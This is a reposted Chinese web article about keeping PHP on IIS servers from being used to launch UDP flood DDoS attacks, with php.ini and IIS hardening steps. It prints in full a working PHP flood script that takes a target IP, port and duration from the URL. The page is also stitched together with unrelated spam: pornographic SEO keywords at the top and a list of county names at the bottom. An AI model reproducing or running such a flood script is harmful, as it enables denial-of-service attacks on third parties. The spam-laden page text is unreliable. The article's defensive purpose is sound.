国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > PHP > 正文

iis防止php ddos占完網絡帶寬與服務器資源解決方法

2024-05-04 21:48:43
字體:
來源:轉載
供稿:網友

用PHP代碼調用sockets,直接用服務器的網絡攻擊別的IP,以前我在apache下有碰到這樣的問題,今天我們講講述一下關于在iis防止php ddos占完網絡帶寬與服務器資源的處理辦法.

php ddos的常見代碼如下:

  1. <?php 
  2. $packets = 0;  
  3. $ip = $_GET['ip'];  
  4. $rand = $_GET['port'];  
  5. set_time_limit(0);  
  6. ignore_user_abort(FALSE); 
  7.  
  8. $exec_time = $_GET['time']; 
  9.  
  10. $time = time();  
  11. print "Flooded: $ip on port $rand 
  12.  
  13. ";  
  14. $max_time = $time+$exec_time
  15.  
  16.  
  17. for($i=0;$i<65535;$i++){  
  18. $out .= "X";  
  19. }  
  20. while(1){  
  21. $packets++;  
  22. if(time() > $max_time){  
  23. break;  
  24.  
  25. $fp = fsockopen("udp://$ip"$rand$errno$errstr, 5);  
  26. if($fp){  
  27. fwrite($fp$out);  
  28. fclose($fp);  
  29. }  
  30. }  
  31. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging "round($packets/$exec_time, 2) . " packets/s /n";  
  32. ?> 

表現特征:一打開IIS,服務器的流出帶寬就用光-----就是說服務器不斷向別人發包,這個情況和受到DDOS攻擊是不同的,DDOS是不斷收到大量數據包.

解決辦法:在c:windowsphp.ini里設其值為Off,代碼如下:

allow_url_fopen = Off

并且,代碼如下:

;extension=php_sockets.dll

前面的;號一定要有,意思就是限制用sockets.dll

然后:代碼如下:

; ignore_user_abort = On

前面的;號要去掉,然后重啟IIS,如果上述方式仍然無效,你可以在IIS中,允許的擴展中,禁止PHP的擴展測試.

注:如果你的服務器不要運行機制php可以關閉,如果需要的話可以把php_sockets.dll 給禁止,還有一種辦法就是把udp端口全部封了,只要80等一些重要的端口開放就可以了.

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 大邑县| 潞西市| 天镇县| 清丰县| 拜城县| 瓮安县| 洛川县| 鄂托克旗| 南投县| 宿州市| 铜梁县| 岗巴县| 额济纳旗| 开鲁县| 塔城市| 略阳县| 兴宁市| 安阳市| 红桥区| 颍上县| 东乌| 博爱县| 绥宁县| 佛坪县| 客服| 枝江市| 依安县| 特克斯县| 汤阴县| 资源县| 道真| 岚皋县| 文山县| 阿拉善左旗| 西畴县| 九江县| 靖江市| 察隅县| 徐闻县| 元氏县| 交城县|